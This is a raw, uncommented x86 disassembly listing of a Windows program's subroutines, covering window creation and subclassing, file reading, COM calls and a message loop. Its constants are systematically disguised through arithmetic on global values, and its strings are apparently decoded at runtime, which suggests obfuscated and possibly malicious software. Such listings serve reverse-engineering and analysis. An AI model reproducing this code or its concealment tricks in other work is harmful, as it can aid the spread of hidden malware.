add eax, 9
push eax
call ds:dword_4CC320
mov [ebp+var_130], eax
push 1
push eax
push 30h
push [ebp+var_258]
call ds:dword_448018
push offset word_55238E
call sub_43AC94
mov [ebp+var_2A0], eax
push offset off_55238A
call sub_43AC94
mov [ebp+var_2A4], eax
push dword_5510BC
push [ebp+var_10C]
mov edi, dword_551118
mov ebx, edi
add ebx, dword_55126C
sub ebx, 11h
push ebx
mov eax, 30h
mul esi
mov [ebp+var_2A8], eax
mov ebx, eax
push ds:dword_4CC65C[ebx]
mov ebx, dword_551270
add ebx, 125h
add ebx, dword_551108
push ebx
movsx ebx, word_551220
add ebx, 31h
push ebx
mov ebx, dword_551250
add ebx, 49h
push ebx
mov ebx, dword_5510D4
movsx edx, word_5510A0
add ebx, edx
sub ebx, 4
push ebx
push 50800003h
mov ebx, [ebp+var_2A4]
push ebx
mov ebx, [ebp+var_2A0]
push ebx
add edi, dword_551258
sub edi, 0Ah
push edi
call ds:dword_4CDA3C
mov edi, eax
mov eax, 30h
mul esi
mov [ebp+var_2AC], eax
mov ebx, eax
mov ds:dword_4CC660[ebx], edi
push offset word_55237E
call sub_43AC94
mov [ebp+var_2B0], eax
push offset word_55237A
call sub_43AC94
add esp, 28h
mov [ebp+var_2B4], eax
movsx edi, word_551168
movsx ebx, word_551210
mov edx, edi
add edx, ebx
mov ebx, edx
sub ebx, 7
push ebx
push [ebp+var_10C]
mov ebx, dword_551204
movsx edx, word_55112C
add ebx, edx
sub ebx, 8
push ebx
mov eax, 30h
mul esi
mov [ebp+var_2B8], eax
mov ebx, eax
push ds:dword_4CC65C[ebx]
movsx ebx, word_551170
lea edi, [ebx+edi+127h]
push edi
movsx edi, word_5510EC
add edi, 3Ch
push edi
mov edi, dword_5510E0
add edi, 4Ah
add edi, dword_551164
push edi
movsx edi, word_55111C
movsx edx, word_5511BC
lea edi, [edi+edx+41h]
push edi
push 50800003h
mov edi, [ebp+var_2B4]
push edi
mov edi, [ebp+var_2B0]
push edi
mov edi, ebx
dec edi
push edi
call ds:dword_4CDA3C
mov edi, eax
mov eax, 30h
mul esi
mov [ebp+var_2BC], eax
mov ebx, eax
mov ds:dword_4CC664[ebx], edi
mov eax, dword_5510D4
sub eax, 6
mov [ebp+var_102], ax
jmp loc_43DAEE
; ---------------------------------------------------------------------------
loc_43DA34: ; CODE XREF: sub_43CD37+DC9j
push offset dword_552370
call sub_43AC94
movzx edi, [ebp+var_102]
movsx ebx, word_5511EC
lea edi, [edi+ebx+4]
push edi
push eax
lea edi, [ebp+var_2C6]
push edi
call ds:dword_50EA28
lea eax, [ebp+var_2C6]
push eax
mov eax, dword_551218
dec eax
push eax
push 143h
mov eax, 30h
mul esi
mov [ebp+var_2CC], eax
push ds:dword_4CC664[eax]
call ds:dword_448018
push offset dword_552368
call sub_43AC94
movzx edi, [ebp+var_102]
push edi
push eax
lea edi, [ebp+var_2C6]
push edi
call ds:dword_50EA28
add esp, 20h
lea eax, [ebp+var_2C6]
push eax
mov eax, dword_5510D0
movsx edx, word_5510F0
add eax, edx
sub eax, 7
push eax
push 143h
mov eax, 30h
mul esi
mov [ebp+var_2D0], eax
push ds:dword_4CC660[eax]
call ds:dword_448018
inc [ebp+var_102]
loc_43DAEE: ; CODE XREF: sub_43CD37+CF8j
movzx eax, [ebp+var_102]
mov edx, dword_5510DC
add edx, 6
cmp eax, edx
jl loc_43DA34
push offset dword_552360
call sub_43AC94
mov [ebp+var_2C0], eax
push offset dword_55235C
call sub_43AC94
mov [ebp+var_2C4], eax
mov edi, dword_55117C
add edi, dword_551164
sub edi, 5
push edi
push [ebp+var_10C]
movsx edi, word_551110
dec edi
push edi
mov eax, 30h
mul esi
mov [ebp-2C8h], eax
mov edi, eax
push ds:dword_4CC65C[edi]
movsx edi, word_55123C
movsx ebx, word_551274
lea ebx, [ebx+edi+14h]
push ebx
add edi, 52h
push edi
mov edi, dword_5511D0
add edi, 70h
movsx ebx, word_551260
add edi, ebx
push edi
mov edi, dword_551150
add edi, 2Bh
push edi
push 50800000h
mov edi, [ebp+var_2C4]
push edi
mov edi, [ebp+var_2C0]
push edi
push 200h
call ds:dword_4CDA3C
mov edi, eax
mov eax, 30h
mul esi
mov [ebp+var_2CC], eax
mov ebx, eax
mov ds:dword_4CC668[ebx], edi
mov eax, dword_55116C
add eax, dword_551138
sub eax, 0Ch
push eax
push 58h
push 0CCh
mov eax, 30h
mul esi
mov [ebp+var_2D0], eax
push ds:dword_4CC668[eax]
call ds:dword_448018
push offset word_552352
call sub_43AC94
mov [ebp+var_2D4], eax
push offset dword_552330
call sub_43AC94
mov [ebp+var_2D8], eax
mov edi, dword_5511F4
sub edi, 5
push edi
push [ebp+var_10C]
mov edi, dword_5510D4
movsx ebx, word_551140
add edi, ebx
sub edi, 0Ch
push edi
mov eax, 30h
mul esi
mov [ebp+var_2DC], eax
mov edi, eax
push ds:dword_4CC65C[edi]
mov edi, dword_551200
add edi, 3Dh
push edi
push [ebp+var_120]
mov edi, dword_551264
add edi, 4Ch
push edi
movsx edi, word_551234
movsx ebx, word_551144
lea edi, [edi+ebx+91h]
push edi
push 50000000h
mov edi, [ebp+var_2D8]
push edi
mov edi, [ebp+var_2D4]
push edi
mov edi, dword_5511B8
sub edi, 7
push edi
call ds:dword_4CDA3C
mov [ebp+var_25C], eax
push 1
push [ebp+var_130]
push 30h
push eax
call ds:dword_448018
push offset word_552326
call sub_43AC94
mov [ebp+var_2E0], eax
push offset dword_55230C
call sub_43AC94
add esp, 18h
mov [ebp+var_2E4], eax
mov edi, dword_55117C
sub edi, 5
push edi
push [ebp+var_10C]
mov edi, dword_551198
add edi, dword_5511F0
sub edi, 0Ch
push edi
mov eax, 30h
mul esi
mov [ebp+var_2E8], eax
mov edi, eax
push ds:dword_4CC65C[edi]
movsx edi, word_551170
add edi, 16h
push edi
movsx edi, word_551168
add edi, 97h
push edi
movsx edi, word_551228
mov ebx, dword_551238
lea edi, [edi+ebx+0EBh]
mov ebx, dword_551204
add ebx, 20h
sub edi, ebx
push edi
mov edi, dword_551174
add edi, 9
push edi
push 50800000h
mov edi, [ebp+var_2E4]
push edi
mov edi, [ebp+var_2E0]
push edi
mov edi, dword_551218
movsx ebx, word_55112C
add edi, ebx
sub edi, 6
push edi
call ds:dword_4CDA3C
mov edi, eax
mov eax, 30h
mul esi
mov [ebp+var_2EC], eax
mov ebx, eax
mov ds:dword_4CC66C[ebx], edi
push 1
push [ebp+var_130]
mov eax, 30h
push 30h
mul esi
mov [ebp+var_2F0], eax
push ds:dword_4CC66C[eax]
call ds:dword_448018
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_2F4], eax
mov [ebp+var_2F8], eax
push ds:dword_4CC660[eax]
call ds:dword_4CEA18
mov edi, [ebp+var_2F8]
mov ds:dword_4CC670[edi], eax
push offset sub_444FE7
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_2FC], eax
push ds:dword_4CC660[eax]
call ds:dword_44B5AC
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_300], eax
mov [ebp+var_304], eax
push ds:dword_4CC668[eax]
call ds:dword_4CEA18
mov edi, [ebp+var_304]
mov ds:dword_4CC678[edi], eax
push offset sub_444FE7
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_308], eax
push ds:dword_4CC668[eax]
call ds:dword_44B5AC
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_30C], eax
mov [ebp+var_310], eax
push ds:dword_4CC664[eax]
call ds:dword_4CEA18
mov edi, [ebp+var_310]
mov ds:dword_4CC674[edi], eax
push offset sub_444FE7
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_314], eax
push ds:dword_4CC664[eax]
call ds:dword_44B5AC
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_318], eax
mov [ebp+var_31C], eax
push ds:dword_4CC65C[eax]
call ds:dword_4CEA18
mov edi, [ebp+var_31C]
mov ds:dword_4CC67C[edi], eax
push offset sub_444FE7
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_320], eax
push ds:dword_4CC65C[eax]
call ds:dword_44B5AC
mov eax, 30h
mul esi
mov [ebp+var_324], eax
push ds:dword_4CC660[eax]
call ds:dword_48B9FC
loc_43DF16: ; CODE XREF: sub_43CD37+10j
; sub_43CD37+32j ...
pop edi
pop esi
pop ebx
leave
retn
sub_43CD37 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43DF1B proc near ; DATA XREF: .data:00551308o
push ebp
mov ebp, esp
push offset dword_44B5B8
call ds:dword_48B9F8
mov eax, ds:dword_44B5B8
pop ebp
retn 4
sub_43DF1B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43DF32 proc near ; CODE XREF: sub_4467C4+663p
; DATA XREF: sub_441AE5+54o
var_104 = byte ptr -104h
var_FF = byte ptr -0FFh
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 104h
push edi
movsx eax, word_551268
sub eax, 3
push eax
push 80h
push 4
mov eax, dword_55124C
sub eax, 5
push eax
movsx eax, word_55112C
sub eax, 5
push eax
push 40000000h
push offset dword_4CC330
call ds:dword_54FC18
mov edi, eax
movsx eax, word_5510E4
add eax, dword_55118C
mov dl, [ebp+arg_0]
mov [ebp+eax+var_FF], dl
mov eax, dword_5510E8
add eax, dword_5511B4
sub eax, 8
push eax
lea eax, [ebp+var_104]
push eax
movsx eax, word_551194
sub eax, 6
push eax
lea eax, [ebp+var_FF]
push eax
push edi
call ds:dword_55001C
push edi
call ds:dword_4CDA48
pop edi
leave
retn
sub_43DF32 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43DFC4 proc near ; CODE XREF: sub_43CD37+525p
; sub_43CD37+541p
var_FFF = byte ptr -0FFFh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1000h
call sub_44797C
push esi
push edi
push 5
push [ebp+arg_0]
call ds:dword_448004
mov edi, eax
loc_43DFE0: ; CODE XREF: sub_43DFC4+82j
mov eax, dword_5511B4
movsx edx, word_551214
add eax, edx
sub eax, 4
cmp edi, eax
jnz short loc_43DFF9
xor eax, eax
jmp short loc_43E048
; ---------------------------------------------------------------------------
loc_43DFF9: ; CODE XREF: sub_43DFC4+2Fj
push 0FFFh
lea eax, [ebp+var_FFF]
push eax
push edi
call ds:dword_449FD0
mov eax, dword_551118
sub eax, 8
push eax
push [ebp+arg_4]
lea eax, [ebp+var_FFF]
push eax
call sub_442127
add esp, 0Ch
mov esi, dword_551150
add esi, 0FFFBh
cmp esi, eax
jz short loc_43E03B
mov eax, edi
jmp short loc_43E048
; ---------------------------------------------------------------------------
loc_43E03B: ; CODE XREF: sub_43DFC4+71j
push 2
push edi
call ds:dword_448004
mov edi, eax
jmp short loc_43DFE0
; ---------------------------------------------------------------------------
loc_43E048: ; CODE XREF: sub_43DFC4+33j
; sub_43DFC4+75j
pop edi
pop esi
leave
retn
sub_43DFC4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43E04C proc near ; CODE XREF: sub_43EC94+299p
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_28 = dword ptr -28h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 54h
push ebx
push esi
push edi
movsx eax, word_5511BC
add eax, dword_5510BC
sub eax, 4
push eax
push [ebp+arg_8]
push [ebp+arg_0]
call sub_4441D8
add esp, 0Ch
mov [ebp+var_54], eax
mov eax, dword_55122C
dec eax
cmp eax, [ebp+var_54]
jnz loc_43E2F0
mov [ebp+var_18], 8
push offset dword_5522FC
call sub_43AEDD
pop ecx
push eax
call ds:dword_44900C
mov [ebp+var_10], eax
lea eax, [ebp+var_8]
push eax
lea esi, [ebp+var_18]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+arg_8]
push edi
mov edi, [edi]
call dword ptr [edi+30h]
mov ebx, eax
mov eax, dword_551200
movsx edx, word_5511C8
add eax, edx
sub eax, 0Ah
cmp eax, ebx
jnz loc_43E2D4
lea eax, [ebp+var_40]
push eax
push offset dword_552A44
mov eax, [ebp+var_8]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, dword_55116C
sub eax, 9
cmp ebx, eax
jnz loc_43E2CB
mov eax, dword_551114
sub eax, 2
mov [ebp+var_28], eax
mov [ebp+var_30], 2
lea eax, [ebp+var_1C]
push eax
lea esi, [ebp+var_30]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
lea esi, [ebp+var_30]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+var_40]
push edi
mov edi, [edi]
call dword ptr [edi+2Ch]
mov ebx, eax
mov eax, dword_551158
add eax, dword_551184
sub eax, 9
cmp ebx, eax
jnz loc_43E2C2
mov eax, dword_5511D0
sub eax, 3
mov [ebp+var_4], eax
lea eax, [ebp+var_4]
push eax
push offset dword_552A54
mov eax, [ebp+var_1C]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
movsx eax, word_55120C
cmp eax, ebx
jnz loc_43E2B9
inc ds:dword_44B5D0
mov eax, dword_5510B4
inc eax
movsx edx, word_551140
add eax, edx
cmp ds:dword_44B5D0, eax
jb short loc_43E1C0
movsx eax, word_551268
add eax, 7
mov ds:dword_44B5D0, eax
push [ebp+var_4]
call sub_442CE5
pop ecx
jmp loc_43E2B0
; ---------------------------------------------------------------------------
loc_43E1C0: ; CODE XREF: sub_43E04C+155j
mov eax, dword_551118
add eax, dword_5511E0
sub eax, 12h
mov [ebp+var_50], eax
lea eax, [ebp+var_48]
push eax
push ds:dword_44801C
call sub_43E369
mov [ebp+var_34], eax
lea eax, [ebp+var_4C]
push eax
push ds:dword_4CD920
call sub_43E369
mov [ebp+var_38], eax
lea eax, [ebp+var_44]
push eax
push ds:dword_449FD4
call sub_43E369
add esp, 18h
mov [ebp+var_3C], eax
cmp [ebp+var_4C], 0
jz short loc_43E22D
cmp [ebp+var_38], 0
jz short loc_43E22D
push 43h
lea eax, [ebp+var_50]
push eax
push [ebp+var_4]
push [ebp+var_4C]
push [ebp+var_38]
call sub_445895
add esp, 14h
loc_43E22D: ; CODE XREF: sub_43E04C+1C2j
; sub_43E04C+1C8j
cmp [ebp+var_44], 0
jz short loc_43E250
cmp [ebp+var_3C], 0
jz short loc_43E250
push 50h
lea eax, [ebp+var_50]
push eax
push [ebp+var_4]
push [ebp+var_44]
push [ebp+var_3C]
call sub_445895
add esp, 14h
loc_43E250: ; CODE XREF: sub_43E04C+1E5j
; sub_43E04C+1EBj
cmp [ebp+var_34], 0
jz short loc_43E273
cmp [ebp+var_48], 0
jz short loc_43E273
push 44h
lea eax, [ebp+var_50]
push eax
push [ebp+var_4]
push [ebp+var_48]
push [ebp+var_34]
call sub_445895
add esp, 14h
loc_43E273: ; CODE XREF: sub_43E04C+208j
; sub_43E04C+20Ej
push [ebp+var_38]
call ds:dword_44B5CC
push [ebp+var_34]
call ds:dword_44B5CC
push [ebp+var_3C]
call ds:dword_44B5CC
movsx eax, word_55112C
movsx edx, word_5510EC
add eax, edx
sub eax, 3
push eax
push [ebp+arg_8]
push [ebp+arg_0]
call sub_4441D8
add esp, 0Ch
loc_43E2B0: ; CODE XREF: sub_43E04C+16Fj
mov eax, [ebp+var_4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_43E2B9: ; CODE XREF: sub_43E04C+134j
mov eax, [ebp+var_1C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_43E2C2: ; CODE XREF: sub_43E04C+102j
mov eax, [ebp+var_40]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_43E2CB: ; CODE XREF: sub_43E04C+AEj
mov eax, [ebp+var_8]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_43E2D4: ; CODE XREF: sub_43E04C+86j
lea eax, [ebp+var_18]
push eax
call ds:dword_550034
mov eax, dword_55109C
add eax, dword_5511E4
sub eax, 0Ch
cmp ebx, eax
jz short $+2
loc_43E2F0: ; CODE XREF: sub_43E04C+34j
pop edi
pop esi
pop ebx
leave
retn
sub_43E04C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43E2F5 proc near ; DATA XREF: sub_442767+Eo
var_1FFF = byte ptr -1FFFh
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 2000h
call sub_44797C
push ebx
push esi
push edi
push 1FFFh
lea eax, [ebp+var_1FFF]
push eax
push [ebp+arg_0]
call ds:dword_550038
push offset dword_5522E4
call sub_43AC94
movsx edi, word_5510EC
inc edi
push edi
push eax
lea edi, [ebp+var_1FFF]
push edi
call sub_442127
add esp, 10h
movsx esi, word_5511C8
movsx ebx, word_551180
lea esi, [esi+ebx+0FFF6h]
cmp eax, esi
jz short loc_43E35F
push [ebp+arg_0]
call sub_446555
pop ecx
loc_43E35F: ; CODE XREF: sub_43E2F5+5Fj
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
retn 8
sub_43E2F5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43E369 proc near ; CODE XREF: sub_43BF49+18p
; sub_43E04C+18Fp ...
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push eax
push ebx
push esi
push edi
push 0
push 80h
push 3
push 0
push 3
push 80000000h
push [ebp+arg_0]
call ds:dword_54FC18
mov edi, eax
mov eax, dword_5511F8
add eax, 0FFFFFFF8h
cmp edi, eax
jnz short loc_43E3C8
movsx eax, word_5511A8
add eax, dword_55118C
cmp [ebp+arg_4], eax
jz short loc_43E3C4
mov eax, [ebp+arg_4]
movsx edx, word_5511CC
movsx ecx, word_551274
add edx, ecx
sub edx, 7
mov [eax], edx
loc_43E3C4: ; CODE XREF: sub_43E369+41j
xor eax, eax
jmp short loc_43E424
; ---------------------------------------------------------------------------
loc_43E3C8: ; CODE XREF: sub_43E369+2Fj
movsx eax, word_5511C8
add eax, dword_551158
sub eax, 8
push eax
push edi
call ds:dword_4CEA14
mov esi, eax
add eax, 10h
push eax
push 40h
call ds:dword_48B9EC
mov ebx, eax
movsx eax, word_551234
sub eax, 4
push eax
cmp [ebp+arg_4], 0
jz short loc_43E409
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
jmp short loc_43E40F
; ---------------------------------------------------------------------------
loc_43E409: ; CODE XREF: sub_43E369+96j
lea eax, [ebp+var_4]
mov [ebp+var_8], eax
loc_43E40F: ; CODE XREF: sub_43E369+9Ej
push [ebp+var_8]
push esi
push ebx
push edi
call ds:dword_448034
push edi
call ds:dword_4CDA48
mov eax, ebx
loc_43E424: ; CODE XREF: sub_43E369+5Dj
pop edi
pop esi
pop ebx
leave
retn
sub_43E369 endp
; =============== S U B R O U T I N E =======================================
sub_43E429 proc near ; CODE XREF: sub_43E491+16p
push edi
push offset byte_5522D5
call sub_43AC94
pop ecx
push eax
call ds:dword_44B598
mov dword_5512A8, eax
movsx eax, word_551188
sub eax, 5
cmp dword_5512A8, eax
jnz short loc_43E46A
push offset word_5522C6
call sub_43AC94
pop ecx
push eax
call ds:dword_48C318
mov dword_5512A8, eax
loc_43E46A: ; CODE XREF: sub_43E429+28j
push offset dword_5522B0
call sub_43AC94
pop ecx
push eax
push dword_5512A8
call ds:dword_44B1AC
mov ds:dword_448028, eax
pop edi
retn
sub_43E429 endp
; =============== S U B R O U T I N E =======================================
sub_43E489 proc near ; DATA XREF: .data:005512D4o
mov eax, 80004001h
retn 18h
sub_43E489 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43E491 proc near ; DATA XREF: sub_43F4C7+Co
; sub_43F4C7+15o ...
var_264 = dword ptr -264h
var_260 = dword ptr -260h
var_25C = dword ptr -25Ch
var_258 = dword ptr -258h
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = byte ptr -24Ch
var_14D = byte ptr -14Dh
var_14C = dword ptr -14Ch
var_147 = byte ptr -147h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 264h
push ebx
push esi
push edi
call sub_43E9BF
call sub_441DD6
call sub_43E429
call sub_43B841
call sub_43A8C0
call sub_443F15
call sub_444A15
call sub_441EAC
call sub_445BAD
call sub_44018C
call sub_43F26D
call sub_445E14
call sub_43F031
mov ebx, eax
loc_43E4E0: ; CODE XREF: sub_43E491+B2j
call sub_43FB57
mov edx, eax
mov [ebp+var_14D], dl
movsx eax, word_551170
inc eax
movzx edx, [ebp+var_14D]
cmp eax, edx
jnz short loc_43E518
mov eax, dword_5511E0
movsx edx, word_551228
add eax, edx
sub eax, 0Eh
push eax
call ds:dword_54EA60
loc_43E518: ; CODE XREF: sub_43E491+6Dj
movzx eax, [ebp+var_14D]
movsx edx, word_551140
sub edx, 4
cmp eax, edx
jnz short loc_43E545
mov eax, dword_551138
add eax, 59h
add eax, dword_5510A8
push eax
call ds:dword_50EA24
pop ecx
jmp short loc_43E4E0
; ---------------------------------------------------------------------------
loc_43E545: ; CODE XREF: sub_43E491+9Aj
call ds:dword_54EB70
mov [ebp+var_48], eax
mov eax, dword_551208
add eax, dword_551124
sub eax, 0Bh
cmp ebx, eax
jnz loc_43E66C
push 0FFh
lea eax, [ebp+var_24C]
push eax
mov eax, dword_551238
movsx edx, word_551214
add eax, edx
sub eax, 9
push eax
push 400h
call ds:dword_44B5A8
movsx eax, [ebp+var_24C]
add [ebp+var_48], eax
push offset byte_5522A5
call sub_43AC94
mov [ebp+var_25C], eax
push offset byte_55229B
call sub_43AC94
push eax
mov edi, [ebp+var_25C]
push edi
lea edi, [ebp+var_147]
push edi
call ds:dword_50EA28
lea eax, [ebp+var_147]
push eax
push 0
mov eax, dword_551204
add eax, dword_551134
sub eax, 0Bh
push eax
call ds:dword_4CEA0C
mov esi, eax
push offset asc_55228F ; "\b"
call sub_43AC94
mov [ebp+var_260], eax
push offset byte_552285
call sub_43AC94
push dword_5511D4
push eax
mov edi, [ebp+var_260]
push edi
lea edi, [ebp+var_147]
push edi
call ds:dword_50EA28
add esp, 2Ch
lea eax, [ebp+var_147]
push eax
push 1
mov eax, dword_551204
sub eax, 3
push eax
call ds:dword_4CEA0C
mov esi, eax
mov eax, dword_5511E4
sub eax, 5
cmp eax, esi
jnz short loc_43E653
mov eax, dword_551230
sub eax, 4
push eax
call ds:dword_54EA60
loc_43E653: ; CODE XREF: sub_43E491+1B1j
movsx eax, word_551120
mov edx, dword_5510B8
lea eax, [eax+edx-0Ch]
push eax
push esi
call ds:dword_50EA20
loc_43E66C: ; CODE XREF: sub_43E491+CDj
movsx eax, word_5511CC
add eax, dword_5510A8
sub eax, 5
add eax, [ebp+var_48]
push eax
call ds:dword_4CE9F4
mov eax, dword_551148
add eax, dword_55122C
sub eax, 8
push eax
call ds:dword_44B598
mov [ebp+var_14C], eax
call sub_43EF58
mov eax, dword_5511E4
sub eax, 5
mov [ebp+var_3C], eax
push offset byte_55227B
call sub_43AC94
mov [ebp+var_20], eax
mov eax, dword_551218
add eax, dword_5510DC
sub eax, 8
mov [ebp+var_2C], eax
mov eax, dword_551090
dec eax
mov [ebp+var_38], eax
mov [ebp+var_28], 5
movsx eax, word_551214
sub eax, 3
mov [ebp+var_30], eax
mov [ebp+var_44], 3
mov eax, dword_551230
sub eax, 5
mov [ebp+var_24], eax
mov eax, [ebp+var_14C]
mov [ebp+var_34], eax
lea eax, sub_43BC33
mov [ebp+var_40], eax
lea eax, [ebp+var_44]
push eax
call ds:dword_44B090
mov edi, [ebp+var_20]
movsx eax, byte ptr [edi]
movsx ecx, [ebp+var_24C]
cdq
idiv ecx
mov [ebp+var_258], eax
push offset byte_552271
call sub_43AC94
mov [ebp+var_264], eax
push offset byte_552267
call sub_43AC94
mov edi, dword_551134
sub edi, 8
push edi
push [ebp+var_14C]
mov edi, dword_5511F4
sub edi, 5
push edi
movsx edi, word_551274
dec edi
push edi
mov edi, dword_551154
sub edi, 7
push edi
movsx edi, word_551224
movsx edx, word_551260
add edi, edx
sub edi, 0Bh
push edi
movsx edi, word_5511BC
mov edx, edi
sub edx, 5
push edx
add edi, dword_5511B4
sub edi, 6
push edi
push 0CA0000h
push eax
mov edi, [ebp+var_264]
push edi
movsx edi, word_55115C
sub edi, 3
push edi
call ds:dword_4CDA3C
mov ds:dword_44B5C0, eax
lea eax, [ebp+var_250]
push eax
push [ebp+var_14C]
call sub_4464E5
mov [ebp+var_254], eax
mov ds:dword_4CEA00, eax
mov eax, [ebp+var_250]
mov ds:dword_44B5C4, eax
push 0
call sub_43FCCD
add esp, 1Ch
mov eax, dword_5510B8
sub eax, 8
cmp ebx, eax
jnz short loc_43E81F
call sub_443F03
movsx eax, word_5510D8
add eax, dword_551130
sub eax, 0Ch
mov ds:dword_50EA2C, eax
jmp short loc_43E834
; ---------------------------------------------------------------------------
loc_43E81F: ; CODE XREF: sub_43E491+370j
mov eax, dword_5510C0
add eax, 3A94h
add eax, dword_551138
mov ds:dword_50EA2C, eax
loc_43E834: ; CODE XREF: sub_43E491+38Cj
push offset sub_43CB55
call sub_43AD8B
pop ecx
mov eax, dword_551174
movsx edx, word_551168
add eax, edx
sub eax, 5
cmp eax, ebx
jnz short loc_43E883
call sub_441AE5
call sub_4461CC
call sub_442C15
call sub_43A324
call sub_442A78
jmp short loc_43E883
; ---------------------------------------------------------------------------
loc_43E86F: ; CODE XREF: sub_43E491+430j
lea eax, [ebp+var_1C]
push eax
call ds:dword_54EC00
lea eax, [ebp+var_1C]
push eax
call ds:dword_449018
loc_43E883: ; CODE XREF: sub_43E491+3C1j
; sub_43E491+3DCj
mov eax, dword_5510D0
add eax, dword_55122C
sub eax, 5
push eax
mov eax, dword_551098
movsx edx, word_551110
add eax, edx
sub eax, 3
push eax
movsx eax, word_551120
add eax, dword_5510DC
sub eax, 0Ah
push eax
lea eax, [ebp+var_1C]
push eax
call ds:dword_4CC648
or eax, eax
jnz short loc_43E86F
pop edi
pop esi
pop ebx
leave
retn 4
sub_43E491 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43E8CA proc near ; CODE XREF: sub_440485+3DCp
; sub_440485+4EFp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
mov esi, [ebp+arg_4]
mov eax, [ebp+arg_0]
xor edx, edx
div esi
movsx edi, word_551214
add edi, dword_55113C
sub edi, 0Ch
cmp edx, edi
jnz short loc_43E8F5
mov eax, [ebp+arg_0]
jmp short loc_43E90F
; ---------------------------------------------------------------------------
loc_43E8F5: ; CODE XREF: sub_43E8CA+24j
mov eax, [ebp+arg_0]
xor edx, edx
div esi
mov [ebp+var_8], eax
mov edi, eax
mul esi
mov [ebp+var_C], eax
mov edi, eax
add edi, esi
mov [ebp+var_4], edi
mov eax, edi
loc_43E90F: ; CODE XREF: sub_43E8CA+29j
pop edi
pop esi
leave
retn
sub_43E8CA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43E913 proc near ; CODE XREF: sub_43B045+AFp
; sub_43B045+FEp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
mov esi, [ebp+arg_4]
mov eax, esi
and eax, [ebp+arg_8]
mov edx, esi
not edx
and edx, [ebp+arg_C]
or eax, edx
add eax, [ebp+arg_18]
add eax, [ebp+arg_10]
add eax, edi
mov edi, eax
push [ebp+arg_14]
push edi
call sub_4420F4
add esp, 8
mov edi, esi
add edi, eax
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_43E913 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43E94C proc near ; DATA XREF: .data:off_551304o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
mov esi, [ebp+arg_8]
push offset byte_550140
push edi
call ds:dword_50EA3C
or eax, eax
jnz short loc_43E988
push offset dword_552A24
push edi
call ds:dword_50EA3C
or eax, eax
jnz short loc_43E988
push offset dword_5529E4
push edi
call ds:dword_50EA3C
or eax, eax
jz short loc_43E998
loc_43E988: ; CODE XREF: sub_43E94C+1Aj
; sub_43E94C+2Aj
mov eax, [ebp+arg_0]
mov [esi], eax
push dword ptr [esi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_43E9B0
; ---------------------------------------------------------------------------
loc_43E998: ; CODE XREF: sub_43E94C+3Aj
mov eax, dword_5510DC
movsx edx, word_551224
